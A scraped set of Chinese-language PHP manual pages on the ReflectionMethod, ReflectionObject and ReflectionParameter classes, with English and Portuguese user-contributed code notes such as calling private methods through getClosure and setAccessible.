no dot prob at gmx dot net 02-Jun-2006 01:09
I have written a function which returns the value of a given DocComment tag.

Full example:

<?php

header('Content-Type: text/plain');

class Example
{
    /**
     * This is my DocComment!
     *
     * @DocTag: prints Hello World!
     */
    public function myMethod()
    {
        echo 'Hello World!';
    }
}

function getDocComment($str, $tag = '')
{
    if (empty($tag))
    {
        return $str;
    }

    $matches = array();
    preg_match("/".$tag.":(.*)(\\r\\n|\\r|\\n)/U", $str, $matches);

    if (isset($matches[1]))
    {
        return trim($matches[1]);
    }

    return '';
}

$method = new ReflectionMethod('Example', 'myMethod');

// will return Hello World!
echo getDocComment($method->getDocComment(), '@DocTag');

?>

Maybe you can add this functionality to the getDocComment methods of the reflection classes.


ReflectionMethod 的构造函数

  • ? ReflectionMethod
  • ReflectionMethod::export ?
  • PHP Manual
  • ReflectionMethod
  • ReflectionMethod 的构造函数

ReflectionMethod::__construct

(PHP 5, PHP 7)

ReflectionMethod::__construct — ReflectionMethod 的构造函数

说明

public ReflectionMethod::__construct ( mixed $class , string $name )
public ReflectionMethod::__construct ( string $class_method )

构造一个新的 ReflectionMethod

参数

class

包含方法的类名称或者这个类的一个实例

name

方法的名称

class_method

类名称和方法名称，之间使用 :: 分隔

返回值

没有返回值。

错误／异常

如果指定的方法不存在，那么抛出一个 ReflectionException

范例

Example #1 ReflectionMethod::__construct() example

<?php
class Counter
{
    private static $c = 0;

    /**
     * Increment counter
     *
     * @final
     * @static
     * @access  public
     * @return  int
     */
    final public static function increment()
    {
        return ++self::$c;
    }
}

// Create an instance of the ReflectionMethod class
$method = new ReflectionMethod('Counter', 'increment');

// Print out basic information
printf(
    "===> The %s%s%s%s%s%s%s method '%s' (which is %s)\n" .
    "     declared in %s\n" .
    "     lines %d to %d\n" .
    "     having the modifiers %d[%s]\n",
        $method->isInternal() ? 'internal' : 'user-defined',
        $method->isAbstract() ? ' abstract' : '',
        $method->isFinal() ? ' final' : '',
        $method->isPublic() ? ' public' : '',
        $method->isPrivate() ? ' private' : '',
        $method->isProtected() ? ' protected' : '',
        $method->isStatic() ? ' static' : '',
        $method->getName(),
        $method->isConstructor() ? 'the constructor' : 'a regular method',
        $method->getFileName(),
        $method->getStartLine(),
        $method->getEndline(),
        $method->getModifiers(),
        implode(' ', Reflection::getModifierNames($method->getModifiers()))
);

// 打印注释文档
printf("---> Documentation:\n %s\n", var_export($method->getDocComment(), 1));

// 打印存在的静态变量
if ($statics= $method->getStaticVariables()) {
    printf("---> Static variables: %s\n", var_export($statics, 1));
}

// 执行方法
printf("---> Invocation results in: ");
var_dump($method->invoke(NULL));
?>

以上例程的输出类似于：

===> The user-defined final public static method 'increment' (which is a regular method)
     declared in /Users/philip/cvs/phpdoc/test.php
     lines 14 to 17
     having the modifiers 261[final public static]
---> Documentation:
 '/**
     * Increment counter
     *
     * @final
     * @static
     * @access  public
     * @return  int
     */'
---> Invocation results in: int(1)

参见

  • ReflectionMethod::export() - 输出一个回调方法
  • Constructors

User Contributed Notes

There are no user contributed notes for this page.


输出一个回调方法

  • ? ReflectionMethod::__construct
  • ReflectionMethod::getClosure ?
  • PHP Manual
  • ReflectionMethod
  • 输出一个回调方法

ReflectionMethod::export

(PHP 5, PHP 7)

ReflectionMethod::export — 输出一个回调方法

说明

public static ReflectionMethod::export ( string $class , string $name [, bool $return = false ] ) : string

Exports a ReflectionMethod.

Warning

本函数还未编写文档，仅有参数列表。

参数

class

类名称

name

方法名称

return

设为 TRUE 时返回导出结果，设为 FALSE（默认值）则忽略返回。

返回值

如果参数 return 设为 TRUE，导出结果将作为 string 返回，否则返回 NULL。

参见

  • ReflectionMethod::__construct() - ReflectionMethod 的构造函数
  • ReflectionMethod::__toString() - 返回反射方法对象的字符串表达

User Contributed Notes

anton dot shever96 at gmail dot com 09-Jan-2019 10:28
//
    $instance = new ReflectionClass($namespace);
    $method = $instance->getMethod($method_name);

    // need to prove
    $method->export(
        $method->class, // necessary ?
        $method->name // necessary ?
    );


返回一个动态建立的方法调用接口，译者注：可以使用这个返回值直接调用非公开方法。

  • ? ReflectionMethod::export
  • ReflectionMethod::getDeclaringClass ?
  • PHP Manual
  • ReflectionMethod
  • 返回一个动态建立的方法调用接口，译者注：可以使用这个返回值直接调用非公开方法。

ReflectionMethod::getClosure

(PHP 5 >= 5.4.0, PHP 7)

ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口，译者注：可以使用这个返回值直接调用非公开方法。

说明

public ReflectionMethod::getClosure ( object $object ) : Closure

Warning

本函数还未编写文档，仅有参数列表。

参数

object

不可以使用静态方法，需要其他类型的方法

返回值

返回 Closure 如果产生任何错误返回 NULL

User Contributed Notes

okto 14-Aug-2016 10:45
Use method from another class context.

<?php

class A {
    private $var = 'class A';

    public function getVar() {
        return $this->var;
    }

    public function getCl() {
        return function () {
            $this->getVar();
        };
    }
}

class B {
    private $var = 'class B';
}

$a = new A();
$b = new B();

print $a->getVar() . PHP_EOL;

$reflection = new ReflectionClass(get_class($a));
$closure    = $reflection->getMethod('getVar')->getClosure($a);
$get_var_b  = $closure->bindTo($b, $b);

print $get_var_b() . PHP_EOL;

// Output:
// class A
// class B
Denis Doronin 18-Jan-2013 08:05
You can call private methods with getClosure():

<?php

function call_private_method($object, $method, $args = array()) {
    $reflection = new ReflectionClass(get_class($object));
    $closure = $reflection->getMethod($method)->getClosure($object);
    return call_user_func_array($closure, $args);
}

class Example {

    private $x = 1, $y = 10;

    private function sum() {
        print $this->x + $this->y;
    }

}

call_private_method(new Example(), 'sum');

?>

Output is 11.


获取反射函数调用参数的类表达

  • ? ReflectionMethod::getClosure
  • ReflectionMethod::getModifiers ?
  • PHP Manual
  • ReflectionMethod
  • 获取反射函数调用参数的类表达

ReflectionMethod::getDeclaringClass

(PHP 5, PHP 7)

ReflectionMethod::getDeclaringClass — 获取反射函数调用参数的类表达

说明

public ReflectionMethod::getDeclaringClass ( void ) : ReflectionClass

获取反射函数参数的一个表达类。 译者注：应该是将这个方法作为一个类返回，他的参数将成为类属性， 执行内容变成什么不知道，下面的范例能够说明一些问题

参数

此函数没有参数。

返回值

返回 ReflectionClass 对象，其中包含这个方法。

范例

Example #1 ReflectionMethod::getDeclaringClass() example

<?php
class HelloWorld {

    protected function sayHelloTo($name) {
        return 'Hello ' . $name;
    }

}

$reflectionMethod = new ReflectionMethod(new HelloWorld(), 'sayHelloTo');
var_dump($reflectionMethod->getDeclaringClass());
?>

以上例程会输出：

object(ReflectionClass)#2 (1) {
  ["name"]=>
  string(10) "HelloWorld"
}

参见

  • ReflectionMethod::isAbstract() - 判断方法是否是抽象方法

User Contributed Notes

There are no user contributed notes for this page.


获取方法的修饰符

  • ? ReflectionMethod::getDeclaringClass
  • ReflectionMethod::getPrototype ?
  • PHP Manual
  • ReflectionMethod
  • 获取方法的修饰符

ReflectionMethod::getModifiers

(PHP 5, PHP 7)

ReflectionMethod::getModifiers — 获取方法的修饰符

说明

public ReflectionMethod::getModifiers ( void ) : int

返回一个方法的修饰符，返回值是一个位标

参数

此函数没有参数。

返回值

使用一个数字表示方法修饰符，具体数字的含义可以参考 predefined constants 中的说明。

范例

Example #1 ReflectionMethod::getModifiers() example

<?php
class Testing
{
    final public static function foo()
    {
        return;
    }
    public function bar()
    {
        return;
    }
}

$foo = new ReflectionMethod('Testing', 'foo');

echo "Modifiers for method foo():\n";
echo $foo->getModifiers() . "\n";
echo implode(' ', Reflection::getModifierNames($foo->getModifiers())) . "\n";

$bar = new ReflectionMethod('Testing', 'bar');

echo "Modifiers for method bar():\n";
echo $bar->getModifiers() . "\n";
echo implode(' ', Reflection::getModifierNames($bar->getModifiers()));
?>

以上例程的输出类似于：

Modifiers for method foo():
261
final public static
Modifiers for method bar():
65792
public

参见

  • Reflection::getModifierNames() - 获取修饰符的名称

User Contributed Notes

There are no user contributed notes for this page.


返回方法原型 (如果存在)

  • ? ReflectionMethod::getModifiers
  • ReflectionMethod::invoke ?
  • PHP Manual
  • ReflectionMethod
  • 返回方法原型 (如果存在)

ReflectionMethod::getPrototype

(PHP 5 >= 5.1.2, PHP 7)

ReflectionMethod::getPrototype — 返回方法原型 (如果存在)

说明

public ReflectionMethod::getPrototype ( void ) : ReflectionMethod

返回方法原型

参数

此函数没有参数。

返回值

方法原型的一个 ReflectionMethod 实例

错误／异常

如果方法没有原型，产生一个 ReflectionException

范例

Example #1 ReflectionMethod::getPrototype() example

<?php
class Hello {

    public function sayHelloTo($name) {
        return 'Hello ' . $name;
    }

}
class HelloWorld extends Hello {

    public function sayHelloTo($name) {
        return 'Hello world: ' . $name;
    }

}

$reflectionMethod = new ReflectionMethod('HelloWorld', 'sayHelloTo');
var_dump($reflectionMethod->getPrototype());
?>

以上例程会输出：

object(ReflectionMethod)#2 (2) {
  ["name"]=>
  string(10) "sayHelloTo"
  ["class"]=>
  string(5) "Hello"
}

参见

  • ReflectionMethod::getModifiers() - 获取方法的修饰符

User Contributed Notes

There are no user contributed notes for this page.


Invoke

  • ? ReflectionMethod::getPrototype
  • ReflectionMethod::invokeArgs ?
  • PHP Manual
  • ReflectionMethod
  • Invoke

ReflectionMethod::invoke

(PHP 5, PHP 7)

ReflectionMethod::invoke — Invoke

说明

public ReflectionMethod::invoke ( object $object [, mixed $parameter [, mixed $... ]] ) : mixed

执行一个反射的方法。

参数

object

如果执行的方法是静态类，那么这个参数传送 null。

parameter

0，或者传送给方法的参数列表。可以通过这个参数，给方法传送大量的参数。

返回值

返回方法的返回值

错误／异常

如果 object 并没有包含一个可以使用的类实例，那么将产生 一个 ReflectionException。

如果方法调用失败，也会产生一个 ReflectionException。

范例

Example #1 ReflectionMethod::invoke() example

<?php
class HelloWorld {

    public function sayHelloTo($name) {
        return 'Hello ' . $name;
    }

}

$reflectionMethod = new ReflectionMethod('HelloWorld', 'sayHelloTo');
echo $reflectionMethod->invoke(new HelloWorld(), 'Mike');
?>

以上例程会输出：

Hello Mike

注释

Note:

如果函数有参数需为引用，那么它们必须以引用方式传入。

参见

  • ReflectionMethod::invokeArgs() - 带参数执行
  • __invoke()
  • call_user_func() - 把第一个参数作为回调函数调用

User Contributed Notes

dimitriy at remerov dot ru 06-Jun-2012 01:19
This method can be used to call a overwritten public method of a parent class on an child instance
The following code will output "A":

<?php

class A
{
    public function foo()
    {
        return __CLASS__;
    }
}

class B extends A
{
    public function foo()
    {
        return __CLASS__;
    }
}

$b = new B();

$reflection = new ReflectionObject($b);

$parentReflection = $reflection->getParentClass();

$parentFooReflection = $parentReflection->getMethod('foo');

$data = $parentFooReflection->invoke($b);

echo $data;

?>
templargrey at wp dot pl 21-Jul-2011 01:12
Seems that Reflection doesn`t resolve late static bindings - var_dump will show "string 'a' (length=1)".

<?php
class ParentClass { protected static $a = 'a'; static public function init() { return static::$a; } }
class ChildClass extends ParentClass { protected static $a = 'b'; }

$r = new ReflectionClass('ChildClass');
var_dump($r->getMethod('init')->invoke(null));
?>
rojaro at gmail dot com 10-Feb-2011 01:56
Note: If you want to invoke protected or private methods, you'll first have to make them accessible using the setAccessible() method (see http://php.net/reflectionmethod.setaccessible ).


带参数执行

  • ? ReflectionMethod::invoke
  • ReflectionMethod::isAbstract ?
  • PHP Manual
  • ReflectionMethod
  • 带参数执行

ReflectionMethod::invokeArgs

(PHP 5 >= 5.1.2, PHP 7)

ReflectionMethod::invokeArgs — 带参数执行

说明

public ReflectionMethod::invokeArgs ( object $object , array $args ) : mixed

使用数组给方法传送参数，并执行他。

参数

object

调用方法的对象，如果是静态对象，设置为 null

args

使用 array 传送的方法参数。

返回值

返回方法返回值

错误／异常

如果 object 指定的实例无法执行方法，那么产生 ReflectionException 异常。

如果方法调用失败，产生 ReflectionException

范例

Example #1 ReflectionMethod::invokeArgs() example

<?php
class HelloWorld {

    public function sayHelloTo($name) {
        return 'Hello ' . $name;
    }

}

$reflectionMethod = new ReflectionMethod('HelloWorld', 'sayHelloTo');
echo $reflectionMethod->invokeArgs(new HelloWorld(), array('Mike'));
?>

以上例程会输出：

Hello Mike

注释

Note:

如果函数有参数需为引用，那么它们必须以引用方式传入。

参见

  • ReflectionMethod::invoke() - Invoke
  • __invoke()
  • call_user_func_array() - 调用回调函数，并把一个数组参数作为回调函数的参数

User Contributed Notes

CodeCoutureXX at gmail dot com 03-Sep-2015 09:12
If you need to call ReflectionMethod::invokeArgs() on a static function you can pass NULL in for the $object parameter.

Example:

<?php
     class myClass {
          public static myStaticFunc($a, $b) {
               return $a + $b;
          }
     }

     $ref = new ReflectionMethod('myClass', 'myStaticFunc');
     echo $ref->invokeArgs(NULL, [12, 7]);
?>

produces the following output:

19
cweiske at cweiske dot de 25-Mar-2011 07:34
Passing arguments by reference works:
<?php $rm->invokeArgs($object, array(&$foo, $bar)); ?>
agent_harris at secure-mail dot biz 13-Feb-2011 07:12
There is a simple workaround for the reference passing problem:
Since the reflection api has to handle all parameters in a generic way it has no chance to guess if you wish to pass data per value or reference.

But it seems that you can also decide to pass a reference from where you call the function or method (not just only by the ampersand prefix in its declaration).

So just do the following; which worked for me:

<?php
//...
$method->invoke($object, $inputValue, &$outputValue);
?>

Since this will only be necessary with arrays and primitive data types it should be acceptable in most cases to know in advance if you need to pass per reference. But it is probably although necessary to keep the ampersand always in the declaration (because of the at least two layers between the actual function and your invoke call).

If this is the expected behavior it will maybe make sense to mention it in the documentation for invoke and invokeArgs.
serg dot smertin at gmail dot com 21-Sep-2010 06:51
We can do black magic, which is useful in templating block calls:

<?php
     $object->__named('methodNameHere', array('arg3' => 'three', 'arg1' => 'one'));

     ...

      /**
       * Pass method arguments by name
       *
       * @param string $method
       * @param array $args
       * @return mixed
       */
      public function __named($method, array $args = array())
      {
        $reflection = new ReflectionMethod($this, $method);

        $pass = array();
        foreach($reflection->getParameters() as $param)
        {
          /* @var $param ReflectionParameter */
          if(isset($args[$param->getName()]))
          {
            $pass[] = $args[$param->getName()];
          }
          else
          {
            $pass[] = $param->getDefaultValue();
          }
        }

        return $reflection->invokeArgs($this, $pass);
      }
?>


判断方法是否是抽象方法

  • ? ReflectionMethod::invokeArgs
  • ReflectionMethod::isConstructor ?
  • PHP Manual
  • ReflectionMethod
  • 判断方法是否是抽象方法

ReflectionMethod::isAbstract

(PHP 5, PHP 7)

ReflectionMethod::isAbstract — 判断方法是否是抽象方法

说明

public ReflectionMethod::isAbstract ( void ) : bool

判断方法是否是抽象方法

参数

此函数没有参数。

返回值

如果是抽象方法返回 TRUE，否则返回 FALSE

参见

  • ReflectionMethod::getDeclaringClass() - 获取反射函数调用参数的类表达

User Contributed Notes

There are no user contributed notes for this page.


判断方法是否是构造方法

  • ? ReflectionMethod::isAbstract
  • ReflectionMethod::isDestructor ?
  • PHP Manual
  • ReflectionMethod
  • 判断方法是否是构造方法

ReflectionMethod::isConstructor

(PHP 5, PHP 7)

ReflectionMethod::isConstructor — 判断方法是否是构造方法

说明

public ReflectionMethod::isConstructor ( void ) : bool

判断方法是否是构造方法

参数

此函数没有参数。

返回值

如果是构造方法返回 TRUE，否则返回 FALSE

参见

  • ReflectionMethod::__construct() - ReflectionMethod 的构造函数
  • ReflectionMethod::isAbstract() - 判断方法是否是抽象方法
  • ReflectionMethod::isDestructor() - 判断方法是否是析构方法

User Contributed Notes

There are no user contributed notes for this page.


判断方法是否是析构方法

  • ? ReflectionMethod::isConstructor
  • ReflectionMethod::isFinal ?
  • PHP Manual
  • ReflectionMethod
  • 判断方法是否是析构方法

ReflectionMethod::isDestructor

(PHP 5, PHP 7)

ReflectionMethod::isDestructor — 判断方法是否是析构方法

说明

public ReflectionMethod::isDestructor ( void ) : bool

判断方法是否是析构方法

参数

此函数没有参数。

返回值

如果是析构方法返回 TRUE，否则返回 FALSE

参见

  • ReflectionMethod::isConstructor() - 判断方法是否是构造方法

User Contributed Notes

There are no user contributed notes for this page.


判断方法是否定义 final

  • ? ReflectionMethod::isDestructor
  • ReflectionMethod::isPrivate ?
  • PHP Manual
  • ReflectionMethod
  • 判断方法是否定义 final

ReflectionMethod::isFinal

(PHP 5, PHP 7)

ReflectionMethod::isFinal — 判断方法是否定义 final

说明

public ReflectionMethod::isFinal ( void ) : bool

判断方法是否定义 final

参数

此函数没有参数。

返回值

如果是 final 返回 TRUE，否则返回 FALSE

参见

  • ReflectionMethod::isStatic() - 判断方法是否是静态方法

User Contributed Notes

There are no user contributed notes for this page.


判断方法是否是私有方法

  • ? ReflectionMethod::isFinal
  • ReflectionMethod::isProtected ?
  • PHP Manual
  • ReflectionMethod
  • 判断方法是否是私有方法

ReflectionMethod::isPrivate

(PHP 5, PHP 7)

ReflectionMethod::isPrivate — 判断方法是否是私有方法

说明

public ReflectionMethod::isPrivate ( void ) : bool

判断方法是否是私有方法

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

私有方法返回 TRUE，否则返回 FALSE

参见

  • ReflectionMethod::isPublic() - 判断方法是否是公开方法

User Contributed Notes

There are no user contributed notes for this page.


判断方法是否是保护方法 (protected)

  • ? ReflectionMethod::isPrivate
  • ReflectionMethod::isPublic ?
  • PHP Manual
  • ReflectionMethod
  • 判断方法是否是保护方法 (protected)

ReflectionMethod::isProtected

(PHP 5, PHP 7)

ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected)

说明

public ReflectionMethod::isProtected ( void ) : bool

判断方法是否是保护方法

参数

此函数没有参数。

返回值

保护方法返回 TRUE，否则返回 FALSE

参见

  • ReflectionMethod::isPrivate() - 判断方法是否是私有方法

User Contributed Notes

There are no user contributed notes for this page.


判断方法是否是公开方法

  • ? ReflectionMethod::isProtected
  • ReflectionMethod::isStatic ?
  • PHP Manual
  • ReflectionMethod
  • 判断方法是否是公开方法

ReflectionMethod::isPublic

(PHP 5, PHP 7)

ReflectionMethod::isPublic — 判断方法是否是公开方法

说明

public ReflectionMethod::isPublic ( void ) : bool

判断方法是否是公开方法

参数

此函数没有参数。

返回值

公开方法返回 TRUE，否则返回 FALSE

参见

  • ReflectionMethod::isPrivate() - 判断方法是否是私有方法

User Contributed Notes

There are no user contributed notes for this page.


判断方法是否是静态方法

  • ? ReflectionMethod::isPublic
  • ReflectionMethod::setAccessible ?
  • PHP Manual
  • ReflectionMethod
  • 判断方法是否是静态方法

ReflectionMethod::isStatic

(PHP 5, PHP 7)

ReflectionMethod::isStatic — 判断方法是否是静态方法

说明

public ReflectionMethod::isStatic ( void ) : bool

判断方法是否是静态方法

参数

此函数没有参数。

返回值

静态方法返回 TRUE，否则返回 FALSE

参见

  • ReflectionMethod::isFinal() - 判断方法是否定义 final

User Contributed Notes

There are no user contributed notes for this page.


设置方法是否访问

  • ? ReflectionMethod::isStatic
  • ReflectionMethod::__toString ?
  • PHP Manual
  • ReflectionMethod
  • 设置方法是否访问

ReflectionMethod::setAccessible

(PHP 5 >= 5.3.2, PHP 7)

ReflectionMethod::setAccessible — 设置方法是否访问

说明

public ReflectionMethod::setAccessible ( bool $accessible ) : void

设置方法是否可以访问，例如通过设置可以访问能够执行私有方法和保护方法

参数

accessible

可以访问设置 TRUE，否则设置 FALSE

返回值

没有返回值。

参见

  • ReflectionMethod::isPrivate() - 判断方法是否是私有方法
  • ReflectionMethod::isProtected() - 判断方法是否是保护方法 (protected)

User Contributed Notes

dave1010 at gmail dot com 11-May-2011 03:21
This is handy for accessing private methods but remember that things are normally private for a reason! Unit Testing is one (debatable) use case for this.

Example:
<?php
class Foo {
  private function myPrivateMethod() {
    return 7;
  }
}

$method = new ReflectionMethod('Foo', 'myPrivateMethod');
$method->setAccessible(true);

echo $method->invoke(new Foo);
// echos "7"
?>

This works nicely with PHPUnit: http://php.net/manual/en/reflectionmethod.setaccessible.php


返回反射方法对象的字符串表达

  • ? ReflectionMethod::setAccessible
  • ReflectionObject ?
  • PHP Manual
  • ReflectionMethod
  • 返回反射方法对象的字符串表达

ReflectionMethod::__toString

(PHP 5, PHP 7)

ReflectionMethod::__toString — 返回反射方法对象的字符串表达

说明

public ReflectionMethod::__toString ( void ) : string

返回反射方法对象的字符串表达

参数

此函数没有参数。

返回值

ReflectionMethod 实例的字符串表达，也就是字符串

范例

Example #1 ReflectionMethod::__toString() example

<?php
class HelloWorld {

    public function sayHelloTo($name) {
        return 'Hello ' . $name;
    }

}

$reflectionMethod = new ReflectionMethod(new HelloWorld(), 'sayHelloTo');
echo $reflectionMethod;
?>

以上例程会输出：

Method [ <user> public method sayHelloTo ] {
  @@ /var/www/examples/reflection.php 16 - 18

  - Parameters [1] {
    Parameter #0 [ <required> $name ]
  }
}

参见

  • ReflectionMethod::export() - 输出一个回调方法
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


ReflectionObject 类

(PHP 5, PHP 7)

简介

ReflectionObject 类报告了一个对象（object）的相关信息。

类摘要

ReflectionObject extends ReflectionClass implements Reflector {
/* 常量 */
const integer IS_IMPLICIT_ABSTRACT = 16 ;
const integer IS_EXPLICIT_ABSTRACT = 32 ;
const integer IS_FINAL = 64 ;
/* 属性 */
public $name ;
/* 方法 */
public __construct ( object $argument )
public static export ( string $argument [, bool $return ] ) : string
/* 继承的方法 */
public ReflectionClass::__construct ( mixed $argument )
public static ReflectionClass::export ( mixed $argument [, bool $return = false ] ) : string
public ReflectionClass::getConstant ( string $name ) : mixed
public ReflectionClass::getConstants ( void ) : array
public ReflectionClass::getConstructor ( void ) : ReflectionMethod
public ReflectionClass::getDefaultProperties ( void ) : array
public ReflectionClass::getDocComment ( void ) : string
public ReflectionClass::getEndLine ( void ) : int
public ReflectionClass::getExtension ( void ) : ReflectionExtension
public ReflectionClass::getExtensionName ( void ) : string
public ReflectionClass::getFileName ( void ) : string
public ReflectionClass::getInterfaceNames ( void ) : array
public ReflectionClass::getInterfaces ( void ) : array
public ReflectionClass::getMethod ( string $name ) : ReflectionMethod
public ReflectionClass::getMethods ([ int $filter ] ) : array
public ReflectionClass::getModifiers ( void ) : int
public ReflectionClass::getName ( void ) : string
public ReflectionClass::getNamespaceName ( void ) : string
public ReflectionClass::getParentClass ( void ) : ReflectionClass
public ReflectionClass::getProperties ([ int $filter ] ) : array
public ReflectionClass::getProperty ( string $name ) : ReflectionProperty
public ReflectionClass::getReflectionConstant ( string $name ) : ReflectionClassConstant
public ReflectionClass::getReflectionConstants ( void ) : array
public ReflectionClass::getShortName ( void ) : string
public ReflectionClass::getStartLine ( void ) : int
public ReflectionClass::getStaticProperties ( void ) : array
public ReflectionClass::getStaticPropertyValue ( string $name [, mixed &$def_value ] ) : mixed
public ReflectionClass::getTraitAliases ( void ) : array
public ReflectionClass::getTraitNames ( void ) : array
public ReflectionClass::getTraits ( void ) : array
public ReflectionClass::hasConstant ( string $name ) : bool
public ReflectionClass::hasMethod ( string $name ) : bool
public ReflectionClass::hasProperty ( string $name ) : bool
public ReflectionClass::implementsInterface ( string $interface ) : bool
public ReflectionClass::inNamespace ( void ) : bool
public ReflectionClass::isAbstract ( void ) : bool
public ReflectionClass::isAnonymous ( void ) : bool
public ReflectionClass::isCloneable ( void ) : bool
public ReflectionClass::isFinal ( void ) : bool
public ReflectionClass::isInstance ( object $object ) : bool
public ReflectionClass::isInstantiable ( void ) : bool
public ReflectionClass::isInterface ( void ) : bool
public ReflectionClass::isInternal ( void ) : bool
public ReflectionClass::isIterable ( void ) : bool
public ReflectionClass::isIterateable ( void ) : bool
public ReflectionClass::isSubclassOf ( string $class ) : bool
public ReflectionClass::isTrait ( void ) : bool
public ReflectionClass::isUserDefined ( void ) : bool
public ReflectionClass::newInstance ( mixed $args [, mixed $... ] ) : object
public ReflectionClass::newInstanceArgs ([ array $args ] ) : object
public ReflectionClass::newInstanceWithoutConstructor ( void ) : object
public ReflectionClass::setStaticPropertyValue ( string $name , string $value ) : void
public ReflectionClass::__toString ( void ) : string
}

属性

name

对象的类名。只读，在尝试赋值的时候会抛出 ReflectionException。

Table of Contents

  • ReflectionObject::__construct — Constructs a ReflectionObject
  • ReflectionObject::export — Export

User Contributed Notes

ccb_bc at hotmail dot com 21-May-2019 03:39
<?php
    class FullReflectionObject {

        /**
        * @var obj => $ReflectionObject = propriedade que representa o objeto $ReflectionObject
        * @var obj => $ReflectionProperty = propriedade que representa o objeto $ReflectionProperty
        * @var obj => $ReflectionMethod = propriedade que representa o objeto $ReflectionMethod
        * @var obj => $ReflectionParameter = propriedade que representa o objeto $ReflectionParameter
        * @var bol => $reflect_object = true se o método object() for invocado
        * @var bol => $reflect_property = true se o método property() for invocado
        * @var bol => $reflect_method = true se o método method() for invocado
        * @var bol => $reflect_parameter = true se o método parameter() for invocado
        */

        private $ReflectionObject;
        private $ReflectionProperty;
        private $ReflectionMethod;
        private $ReflectionParameter;
        private $reflect_object    = false;
        private $reflect_property  = false;
        private $reflect_method    = false;
        private $reflect_parameter = false;

        /**
        * @param obj => $object = objeto a ser refletido
        */
        public function object(object $object) : object {
            $this->reflect_object = true;
            $this->ReflectionObject = new \ReflectionObject($object);
            return $this;
        }

        /**
        * @param str => $class_name = nome da classe o qual a properiedade ser refletida pertence
        * @param str => $property = nome da properiedade a ser refletida
        */
        public function property(string $class_name, string $property) : object {
            $this->reflect_property = true;
            $this->ReflectionProperty = new \ReflectionProperty($class_name, $property);
            return $this;
        }

        /**
        * @param str => $class_name = nome da classe o qual o método ser refletido pertence
        * @param str => $method = nome do método a ser refletido
        */
        public function method(string $class_name, string $method) : object {
            $this->reflect_method = true;
            $this->ReflectionMethod = new \ReflectionMethod($class_name, $method);
            return $this;
        }

        /**
        * @param str => $class_name = nome da classe o qual o parametro a ser refletido pertence
        * @param str => $method = nome do método o qual o parametro a ser refletido pertence
        * @param str => $parameter = nome do parametro a ser refletido
        */
        public function parameter(string $class_name, string $method, string $parameter) : object {
            $this->reflect_parameter = true;
            $this->ReflectionParameter = new \ReflectionParameter(array($class_name, $method), $parameter);
            return $this;
        }

        public function __call($methodName, $args){
            if($this->reflect_object){
                return call_user_func_array(array($this->ReflectionObject, $methodName), $args);
            }
            if($this->reflect_property){
                return call_user_func_array(array($this->ReflectionProperty, $methodName), $args);
            }
            if($this->reflect_method){
                return call_user_func_array(array($this->ReflectionMethod, $methodName), $args);
            }
            if($this->reflect_parameter){
                return call_user_func_array(array($this->ReflectionParameter, $methodName), $args);
            }
        }
    }

    // Digamos que você tenha no seu projeto a classe Client do pacote Guzzle
    $FullReflectionObject = new FullReflectionObject;
    var_dump($FullReflectionObject->object(new GuzzleHttp\Client)->getMethods());
    var_dump($FullReflectionObject->property('GuzzleHttp\Client', 'config')->isPrivate());
    var_dump($FullReflectionObject->method('GuzzleHttp\Client', 'buildUri')->isPrivate());
    var_dump($FullReflectionObject->parameter('GuzzleHttp\Client', 'send', 'options')->getDefaultValue());
kuldipem at gmail dot com 17-Jun-2015 06:01
class a {
    const abc = 1;
    public function __get($key){
        $r = new ReflectionObject($this);
        if($r->hasConstant($key)){ return $r->getConstant($key); }
    }
}
class b {
    public function getA(){
        return new a();
    }
}
$b = new b();
var_dump($b->getA()::abc);
var_dump($b->getA()::def);
marcel dot nolte at noltecomputer dot de 02-Sep-2009 02:42
To simply enlist all methods and properties of an object simply write:

<?php ReflectionObject::export($yourObject); ?>

,which will cause an var_export-like output.


Constructs a ReflectionObject

  • ? ReflectionObject
  • ReflectionObject::export ?
  • PHP Manual
  • ReflectionObject
  • Constructs a ReflectionObject

ReflectionObject::__construct

(PHP 5, PHP 7)

ReflectionObject::__construct — Constructs a ReflectionObject

说明

public ReflectionObject::__construct ( object $argument )

Constructs a ReflectionObject.

Warning

本函数还未编写文档，仅有参数列表。

参数

argument

An object instance.

返回值

没有返回值。

参见

  • ReflectionObject::export() - Export
  • Constructors

User Contributed Notes

There are no user contributed notes for this page.


Export

  • ? ReflectionObject::__construct
  • ReflectionParameter ?
  • PHP Manual
  • ReflectionObject
  • Export

ReflectionObject::export

(PHP 5, PHP 7)

ReflectionObject::export — Export

说明

public static ReflectionObject::export ( string $argument [, bool $return ] ) : string

Exports a reflection.

Warning

本函数还未编写文档，仅有参数列表。

参数

argument

导出的反射。

return

设为 TRUE 时返回导出结果，设为 FALSE（默认值）则忽略返回。

返回值

如果参数 return 设为 TRUE，导出结果将作为 string 返回，否则返回 NULL。

参见

  • ReflectionObject::__construct() - Constructs a ReflectionObject

User Contributed Notes

There are no user contributed notes for this page.


ReflectionParameter 类

(PHP 5, PHP 7)

简介

ReflectionParameter 取回了函数或方法参数的相关信息。

要自行检查函数的参数，首先创建一个 ReflectionFunction 或 ReflectionMethod 的实例，然后使用它们的 ReflectionFunctionAbstract::getParameters() 方法来获取参数的数组。

类摘要

ReflectionParameter implements Reflector {
/* 属性 */
public $name ;
/* 方法 */
public allowsNull ( void ) : bool
public canBePassedByValue ( void ) : bool
final private __clone ( void ) : void
public __construct ( string $function , string $parameter )
public static export ( string $function , string $parameter [, bool $return ] ) : string
public getClass ( void ) : ReflectionClass
public getDeclaringClass ( void ) : ReflectionClass
public getDeclaringFunction ( void ) : ReflectionFunctionAbstract
public getDefaultValue ( void ) : mixed
public getDefaultValueConstantName ( void ) : string
public getName ( void ) : string
public getPosition ( void ) : int
public getType ( void ) : ReflectionType
public hasType ( void ) : bool
public isArray ( void ) : bool
public isCallable ( void ) : bool
public isDefaultValueAvailable ( void ) : bool
public isDefaultValueConstant ( void ) : bool
public isOptional ( void ) : bool
public isPassedByReference ( void ) : bool
public isVariadic ( void ) : bool
public __toString ( void ) : string
}

属性

name

参数的名称。只读，在尝试赋值的时候会抛出 ReflectionException。

Table of Contents

  • ReflectionParameter::allowsNull — Checks if null is allowed
  • ReflectionParameter::canBePassedByValue — Returns whether this parameter can be passed by value
  • ReflectionParameter::__clone — Clone
  • ReflectionParameter::__construct — Construct
  • ReflectionParameter::export — Exports
  • ReflectionParameter::getClass — 获得类型提示类。
